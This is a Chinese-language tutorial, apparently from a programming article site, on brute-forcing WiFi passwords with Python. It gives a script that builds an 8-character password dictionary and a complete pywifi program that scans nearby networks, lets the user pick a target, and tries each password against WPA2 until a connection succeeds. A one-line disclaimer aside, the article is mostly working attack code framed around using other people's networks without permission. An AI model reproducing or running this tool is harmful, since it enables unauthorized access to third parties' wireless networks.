python破解WiFi教程代碼,Python蹭網原理講解

用Python生成一個簡單的密碼本,一般是有數字、字母和符號組成,這裡用到的思路主要是窮舉法。通過使用pywifi 模塊,根據密碼本暴力破解WiFi。

聲明:本文隻是從技術的角度來闡述學習Pywifi庫!並不建議大傢做任何破壞性的操作和任何不當的行為!

一、安裝pywifi

pywifi是在python中一個用於操作無線接口的模塊,可以跨平臺使用,Windows和Linux都支持

在notebook或者pycharm、anaconda中安裝

pip install pywifi

二、構建wifi密碼字典

一般字典包括數字(0-9)、字母(a-z,區分大小寫)、特殊字符(!@#$%^&*()_+=-)

常規的wifi密碼為8位,且僅包括數字和小寫字母,所以我們可以從數字和字母組成的字符串中隨機挑選出8位(單個字符可重復出現),作為wifi密碼組成字典存入txt文檔。

也可以去網上下載一個常用wifi密碼,隻要是TXT文本就可以.

import itertools as its
words = "1234567890abcdefghijklmnopqrstuvwxyz" #可選擇的字符
r =its.product(words,repeat=8)  #組成8位字符串
dic = open("pwd.txt","a")      #存儲為wifi密碼字典
#wifi密碼完成換行,並寫入txt文檔
for i in r:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

三、python實現wifi破解

import pywifi
import time
from pywifi import const
 
# WiFi掃描模塊
def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一個無線網卡
    interface = wifi.interfaces()[0]
    # 開始掃描
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r掃描可用 WiFi 中,請稍後。。。(' + str(3 - i), end=')')
    print('\r掃描完成!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('編號', '信號強度', 'wifi名'))
    # 掃描結果,scan_results()返回一個集,存放的是每個wifi對象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
        # 解決亂碼問題
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # 存入列表並按信號排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化輸出
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list
 
# WIFI破解模塊
def wifi_password_crack(wifi_name):
    # 字典路徑
    wifi_dic_path = input("請輸入本地用於WIFI暴力破解的密碼字典(txt格式,每個密碼占據1行)的路徑:")
    with open(wifi_dic_path, 'r') as f:
        # 遍歷密碼
        for pwd in f:
            # 去除密碼的末尾換行符
            pwd = pwd.strip('\n')
            # 創建wifi對象
            wifi = pywifi.PyWiFi()
            # 創建網卡對象,為第一個wifi網卡
            interface = wifi.interfaces()[0]
            # 斷開所有wifi連接
            interface.disconnect()
            # 等待其斷開
            while interface.status() == 4:
                # 當其處於連接狀態時,利用循環等待其斷開
                pass
            # 創建連接文件(對象)
            profile = pywifi.Profile()
            # wifi名稱
            profile.ssid = wifi_name
            # 需要認證
            profile.auth = const.AUTH_ALG_OPEN
            # wifi默認加密算法
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifi密碼
            profile.key = pwd
            # 刪除所有wifi連接文件
            interface.remove_all_network_profiles()
            # 設置新的wifi連接文件
            tmp_profile = interface.add_network_profile(profile)
            # 開始嘗試連接
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # 接口狀態為4代表連接成功(當嘗試時間大於1.5秒之後則為錯誤密碼,經測試測正確密碼一般都在1.5秒內連接,若要提高準確性可以設置為2s或以上,相應暴力破解速度就會變慢)
                if interface.status() == 4:
                    print(f'\r連接成功!密碼為:{pwd}')
                    exit(0)
                else:
                    print(f'\r正在利用密碼 {pwd} 嘗試破解。', end='')
# 主函數
def main():
    # 退出標致
    exit_flag = 0
    # 目標編號
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi萬能鑰匙'.center(35, '-'))
            # 調用掃描模塊,返回一個排序後的wifi列表
            wifi_list = wifi_scan()
            # 讓用戶選擇要破解的wifi編號,並對用戶輸入的編號進行判斷和異常處理
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('請選擇你要嘗試破解的wifi:'))
                    # 如果要選擇的wifi編號在列表內,繼續二次判斷,否則重新輸入
                    if target_num in range(len(wifi_list)):
                        # 二次確認
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
                                # 對用戶輸入進行小寫處理,並判斷
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # 處理用戶其它字母輸入
                                else:
                                    print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                            # 處理用戶非字母輸入
                            except ValueError:
                                print('隻能輸入 Y/N 哦o(* ̄︶ ̄*)o')
                        # 退出破解
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('請重新輸入哦(*^▽^*)')
                except ValueError:
                    print('隻能輸入數字哦o(* ̄︶ ̄*)o')
            # 密碼破解,傳入用戶選擇的wifi名稱
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e
 
 
if __name__ == '__main__':
    main()

到此這篇關於python破解WiFi教程代碼,Python蹭網原理講解的文章就介紹到這瞭,更多相關python破解WiFi內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: